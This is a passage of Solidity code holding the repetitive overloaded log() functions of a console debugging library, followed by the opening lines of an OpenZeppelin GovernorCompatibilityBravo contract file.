_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/compatibility/GovernorCompatibilityBravo.sol)
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/math/SafeCastUpgradeable.sol";
